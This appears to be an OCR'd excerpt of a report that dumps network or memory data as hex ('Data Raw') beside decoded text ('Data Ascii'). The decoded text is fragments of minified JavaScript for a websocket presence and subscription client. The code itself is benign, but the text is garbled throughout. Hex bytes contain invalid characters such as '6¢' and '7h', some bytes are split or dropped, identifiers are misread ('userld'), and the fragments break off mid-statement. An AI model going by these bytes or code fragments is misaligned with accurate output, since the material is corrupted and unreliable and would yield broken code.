6e 73 2e 74 6f 70 69 63 73 28 29 29 7d 73 6f 63 6b 65 74 44 69 64

Data Ascii: <6e4;return this.connectionCount===0||this.intentionallyDisconnected||?0:10*1e3}socketDidOpen(){this.intent
ionallyDisconnected=!1,this.connectionCount++this.socket.url=this.getUrIWithPresenceld(),this.sendSubscribe(t
his.subscriptions.topics())}socketDid

Data Raw: 69 73 4f 77 6e 55 73 65 72 3a 76 3d 3d 3d 74 68 69 73 2e 75 73 65 72 49 64 2c 6d 65 74 61 64 61 74 61 3a 5b
5d 7d 3b 69 66 28 54 21 3d 3d 74 68 69 73 2e 70 72 65 73 65 6e 63 65 4b 65 79 29 7b 66 6f 72 28 63 6f 6e 73 74 20 52
20 6f 66 20 6b 29 7b 69 66 28 53 2e 5a 20 69 6e 20 52 29 7b 4c 2e 69 73 49 64 6¢ 65 21 3d 3d 21 31 26 26 28 4c 2e 69
73 49 64 6¢ 65 3d 42 6f 6f 6¢ 65 61 6e 28 52 5b 53 2e 5a 5d 29 29 3b 63 6f 6e 74 69 6e 75 65 7d 4c 2e 6d 65 74 61 64 61
74 61 2e 70 75 73 68 28 52 29 7d 64 2e 73 65 74 28 76 2c 4c 29 7d 7d 66 6f 72 28 63 6f 6e 73 74 20 70 20 6f 66 20 74 68
69 73 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 73 2e 73 75 62 73 63 72 69 62 65 72 73 28 6¢ 29 29 7b 63 6f 6 73 74 20 7
6 3d 74 68 69 73 2e 75 73 65 72 49 64 2c 6b 3d 41 72 72 61 79 2e

Data Ascii: isOwnUser:v===this.userld, metadata:[]};if(T!==this.presenceKey){for(const R of k){if(S.Z in R){L.isldle!==11&&
(L.isldle=Boolean(R[S.Z]));continue}L.metadata.push(R)}d.set(v,L)}}for(const p of this.subscriptions.subscribers(l)){const
v=this.userld,k=Array.

Data Raw: 66 66 73 65 74 3b 74 68 69 73 2e 73 6f 63 6b 65 74 2e 73 65 6e 64 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66
7928 7b 73 7562 73 63 72 69 62 65 3a 68 7d 29 29 7d 7d 73 65 6e 64 55 6e 73 75 62 73 63 72 69 62 65 28 6¢ 29 7b 63
6f 6e 73 74 20 69 3d 41 72 72 61 79 2e 66 72 6f 6d 28 6¢ 2c 63 3d 3e 63 2e 73 69 67 6e 65 64 29 3b 66 6f 72 28 63 6f 6e
73 74 20 63 20 6f 66 28 30 2c 74 2e 6f 29 28 69 2¢ 32 35 29 29 74 68 69 73 2e 73 6f 63 6b 65 74 2e 73 65 6e 64 28 4a 53
4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7h 75 6e 73 75 62 73 63 72 69 62 65 3a 63 7d 29 29 3b 66 6f 72 28 63 6f 6e 73
74 20 63 20 6f 66 20 6¢ 29 28 30 2¢ 79 2e 41 29 28 63 2e 6e 61 6d 65 29 26 26 74 68 69 73 2e 70 72 65 73 65 6e 63 65 2
e 63 6¢ 65 61 72 43 68 61 6e 6e 65 6¢ 28 63 2e 6e 61 6d 65 29 7d

Data Ascii: ffset;this.socket.send(JSON.stringify({subscribe:h}))}}sendUnsubscribe(l){const i=Array.from(l,c=>c.signed);
for(const ¢ of(0,t.0)(i,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const ¢ of 1)(0,y.A)(c.name)&&this.pre
sence.clearChannel(c.name)}

Data Raw: 20 53 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 4f 62 6a 65 63 74 2e 61 73
7369 67 6e 28 7b 7d 2c 74 29 2c 7b 69 73 4c 6f 63 61 6¢ 3a 21 30 7d 29 7d 6f 28 53 2c 22 6d 61 72 6b 4d 65 74 61 64
61 74 61 41 73 4c 6f 63 61 6¢ 22 29 3b 63 6¢ 61 73 73 20 66 7b 63 6f 6 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e
737562 73 63 72 69 62 65 72 4d 65 74 61 64 61 74 61 3d 6e 65 77 20 4d 61 70 7d 73 65 74 4d 65 74 61 64 61 74 61 28
73 2c 6e 29 7b 74 68 69 73 2e 73 75 62 73 63 72 69 62 65 72 4d 65 74 61 64 61 74 61 2e 73 65 74 28 73 2¢c 6e 29 7d 72
65 6d 6f 76 65 53 75 62 73 63 72 69 62 65 72 73 28 73 29 7b 6¢ 65 74 20 6e 3d 21 31 3b 66 6f 72 28 63 6f 6e 73 74 20
65 20 6f 66 20 73 29 6e 3d 74 68 69 73 2e 73 75 62 73 63 72 69 62 65

Data Ascii: S(t){return Object.assign(Object.assign({},t) {isLocal:!0})}o(S,"markMetadataAsLocal");class f{constructor()
{this.subscriberMetadata=new Map}setMetadata(s,n){this.subscriberMetadata.set(s,n)}removeSubscribers(s){let n
=!1;for(const e of s)n=this.subscribe
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Data

Data Raw: 74 5b 65 2c 72 5d 3d 6e 2e 70 2e 73 70 6¢ 69 74 28 22 2e 22 29 3b 72 65 74 75 72 6e 7b 75 73 65 72 49 64
3a 6e 2e 75 2¢ 70 72 65 73 65 6e 63 65 4b 65 79 3a 79 28 6e 2e 75 2c 65 29 2c 63 6f 6e 6e 65 63 74 69 6f 6e 43 6f 75 6e
74 3a4e 75 6d 62 65 72 28 72 29 2¢ 6d 65 74 61 64 61 74 61 3a 6e 2e 6d 7c 7c 5b 5d 7d 7d 6f 28 53 2c 22 64 65 63 6f
6d 70 72 65 73 73 49 74 65 6d 22 29 3b 63 6f 6e 73 74 20 66 3d 22 70 72 65 73 65 6e 63 65 2d 22 3b 66 75 6e 63 74 69
6f 6e 20 77 28 6 29 7b 72 65 74 75 72 6e 20 6e 2e 73 74 61 72 74 73 57 69 74 68 28 66 29 7d 6f 28 77 2c 22 69 73 50
72 65 73 65 6e 63 65 43 68 61 6e 6e 65 6¢ 22 29 3b 63 6¢ 61 73 73 20 74 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b
74 68 69 73 2e 70 72 65 73 65 6e 63 65 49 74 65 6d 73 3d 6e 65 77 20 4d

Data Ascii: t[e,r]=n.p.split(".");return{userld:n.u,presenceKey:y(n.u,e),connectionCount:Number(r),metadata:n.m||[]}}o(S
,"decompressltem");const f="presence-";function w(n){return n.startsWith(f)}o(w,"isPresenceChannel");class t{constructor
(){this.presenceltems=new M

Data Raw: 3d 6e 65 77 20 79 2e 5a 2c 74 68 69 73 2e 73 69 67 6e 61 74 75 72 65 73 3d 6e 65 77 20 4d 61 70 7d 61 64
64 28 2e 2e 2e 77 29 7b 63 6f 6e 73 74 20 74 3d 5b 5d 3b 66 6f 72 28 63 6f 6e 73 74 7b 73 75 62 73 63 72 69 62 65 72
3a 73 2c 74 6f 70 69 63 3a 6e 7d 6f 66 20 77 29 74 68 69 73 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 73 2e 68 61 73 28 6e
2e 6e 61 6d 65 29 7c 7c 28 74 2e 70 75 73 68 28 6e 29 2c 74 68 69 73 2e 73 69 67 6e 61 74 75 72 65 73 2e 73 65 74 28
6e 2e 6e 61 6d 65 2c 6e 29 29 2c 74 68 69 73 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 73 2e 73 65 74 28 6e 2e 6e 61 6d
65 2c 7329 3b 72 65 74 75 72 6e 20 74 7d 64 65 6¢ 65 74 65 28 2e 2e 2e 77 29 7b 63 6f 6e 73 74 20 74 3d 5b 5d 3b 66
6f 72 28 63 6f 6e 73 74 7b 73 75 62 73 63 72 69 62 65 72 3a 73 2¢c 74 6f

Data Ascii: =new y.Z,this.signatures=new Map}add(...w){const t=[];for(const{subscriber:s,topic:n}of w)this.subscriptions
.has(n.name)||(t.push(n),this.signatures.set(n.name,n)),this.subscriptions.set(n.name,s);return t}delete(...w){const t=[
];for(const{subscriber:s,to

Data Raw: 6f 72 74 43 6f 6e 74 72 6f 6¢ 6¢ 65 72 3b 72 65 74 75 72 6e 20 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e
41 2e 61 62 6f 72 74 28 6e 65 77 20 44 4f 4d 45 78 63 65 70 74 69